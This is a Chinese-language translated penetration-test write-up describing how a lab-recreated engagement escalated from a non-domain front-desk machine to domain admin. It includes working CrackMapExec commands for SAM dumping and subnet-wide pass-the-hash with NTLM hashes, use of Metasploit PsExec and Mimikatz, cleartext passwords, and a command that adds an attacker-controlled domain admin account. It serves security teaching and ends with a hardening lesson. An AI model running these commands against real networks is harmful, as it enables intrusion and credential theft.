如何从活动目录域外的机器拿到域控权限

xnianq 内网渗透 2018年3月12日发布
Favorite收藏

导语:看文章之前先问下为什么要保证所有的机器都要加入到域中……

这是在我博客中第一篇非web类的文章,我是一个传统的web开发人员,web安全是从事安全方面的出发点。但是从我进入渗透测试行业开始,我就被这个行业深深吸引,从兼职一步步做到了全职的渗透测试工程师,活动目录域是我最喜欢的渗透测试类型。

这篇文章是关于我在今年早些为客户做的内部渗透测试,因为之前已经测试过,了解到这个客户的网络环境相当复杂,所以开始的时候很忐忑会测试不成功。

我在内网中做的第一件事就是运行Responder工具,会从本地网络中的LLMNR或者NETBIOS请求中获取到Windows hash。但是客户还是比较有安全意识的,他们已经禁用了LLMNR以及NetBIOS请求。尽管在之前的测试中已经了解到了这一点,但是我还是抱有一份希望,因为在OSCP课程中学到了总要先从尝试简单的方法开始,如果门开着,你从天窗进去那岂不是多此一举。

于是我执行了Responder,我竟然捕捉到了一台机器的hash!

da_f_od_responder.png

当然,我肯定不会在博客中公开客户的私密信息,因此你看到所有内容都是我在实验室内重新搭建环境复现出来的,并且一些隐私信息已经隐藏。

上图中可以看到172.16.157.133这一主机给我们呈现出了FRONTDESK用户的NETNTLMv2 hash。使用Crack Map Exec检查NetBIOS信息,进而确定这是不是本地用户的hash,用户名的域部分为:

[SMBv2] NTLMv2-SSP Username : 2-FD-87622\FRONTDESK

即2-FD-87622应与主机的NetBIOS名称匹配(如果是这种情况)。使用CME查找IP,我们可以看到主机的名称匹配.

da_f_od_netbios.png

所以我们下一步要做的就是尝试破解这一hash,然后得到这一用户的明文密码。使用hashcat进行破解,很快出了结果:

da_f_od_hashcat.png

现在我们已经获得了前台机器的登陆凭证,现在使用这一凭证进行攻击这台机器:

cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth

da_f_od_fd_pwned.png

上图中可以看到”Pwn3d”已经输出,这就意味着我们已经获取到了本地的管理员账户。这就意味着我们已经有了获取本地用户hash的权限:

cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth --sam

da_f_od_fd_sam.png

可以看到已经得到了本地用户的hash:

FRONTDESK:1002:aad3b435b51404eeaad3b435b51404ee:eb6538aa406cfad09403d3bb1f94785f:::

这次我们看到的密码的是NTLM hash值,而不是之前Responder获取的NETNTLMv2 “挑战/响应”hash。Responder通过网络流量捕获hash和windows存储在SAM中的hash是不同的。

下一步就是使用这一管理员的散列对客户的主机进行“哈希传递攻击”,而不是对这一hash进行破解。

cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth

da_f_od_server_reuse_admin_passwd.png

我们只能使用存储的NTLM哈希进行传递,而不是使用NETNTLMv2格式的hash。
令我们比较惊讶的是,本地管理员账户在STEWIE机器上登录上去了。查询这一主机的BIOS信息:

$ cme smb 172.16.157.134 
SMB         172.16.157.134  445    STEWIE           
[*] Windows Server 2008 R2 Foundation 7600 x64 (name:STEWIE) (domain:MACFARLANE)
(signing:False) (SMBv1:True)

我们可以看到这台机器是MACFARLANE域中的一员,而且这一个域是客户的主域。

所以我们通过一个本地无域机器的管理员密码进入到域内一个机器。现在使用Metasploit中的PsExec登陆这台机器,将NTLM哈希作为密码填写上去:

da_f_od_fd_msf_options.png

一旦执行,我们就会得到shell:

da_f_od_fd_msf_shell.png

然后使用Mimikatz模块从windows内存中获取密码:

da_f_od_fd_msf_mimikatz.png

上图中我们已经得到了域管理员的密码,最后,我们使用CME在域控制器上执行命令,将自己添加为一个域管理员。

cme smb 172.16.157.135 -u administrator -p 'October17' -x 'net user markitzeroda hackersPassword! /add /domain /y && net group "domain admins" markitzeroda /add'

da_f_od_fd_msf_add_da.png

注意/y参数的含义是让windows允许你添加超过14个字符的密码。

远程桌面到域控制器的屏幕截图可以作为利用证据写入到报告中:

da_f_od_fd_msf_da_proof.png

因此如果第一台拿下的机器加入到域中,那么它将会禁用掉LLMNR通信,并且我们不会获得hash值,然后这次渗透测试就不会成功~这就是文章开始的问题,为什么所有的机器要加入域中的答案。

本文翻译自:https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html如若转载,请注明原文地址: http://www.4hou.com/technology/10634.html
点赞 4
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论